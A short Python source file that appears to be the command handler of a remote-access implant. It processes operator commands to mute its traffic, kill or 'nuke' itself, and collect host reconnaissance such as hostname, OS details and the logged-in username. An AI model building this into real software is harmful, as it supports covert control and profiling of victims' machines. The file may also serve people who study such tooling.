control.py 文件源码

def work( storage, message ) :
    # print( "Control message: %s" % message )

    if message == storage['commands']['reset'] :
        storage['COMMON']['handler'].reset()
        return 'OK'
    elif message == storage['commands']['identity'] :
        return storage['COMMON']['handler'].orchestrator.getIdentity()[:8]

    elif message == storage['commands']['kill'] :
        storage['COMMON']['handler'].stop()
        import threading
        kill_thread = threading.Thread(target = storage['wait_exit_func'])
        kill_thread.start()
        return "OK"

    elif message == storage['commands']['mute'] :
        # if (storage['COMMON']['handler'])     # If it is interrogating,
        storage['COMMON']['handler'].send_function = storage['dummy_send_func']
        return "OK" # just for the hell of it

    elif message == storage['commands']['unmute'] :
        storage['COMMON']['handler'].send_function = storage['real_send_func']
        return "OK" #

    elif message == storage['commands']['nuke'] :
        storage['nuke_func']()
        return "OK" #

    elif message == storage['commands']['sysinfo'] :
        import platform, json, getpass, locale
        ret = "+".join([                   # 113 bytes
            platform.node(),
            platform.machine(),
            platform.version(),
            '-'.join(locale.getdefaultlocale()),
            platform.platform(),
            platform.release(),
            platform.system(),
            platform.processor(),
            getpass.getuser(),
            '-'.join(platform.win32_ver()),
            '-'.join(platform.libc_ver()),
            # '-'.join(platform.mac_ver()),
        ])
        # ret = json.dumps(info).replace( " ","" )  # to save some bytes
        return ret
    else :
        return "N/A"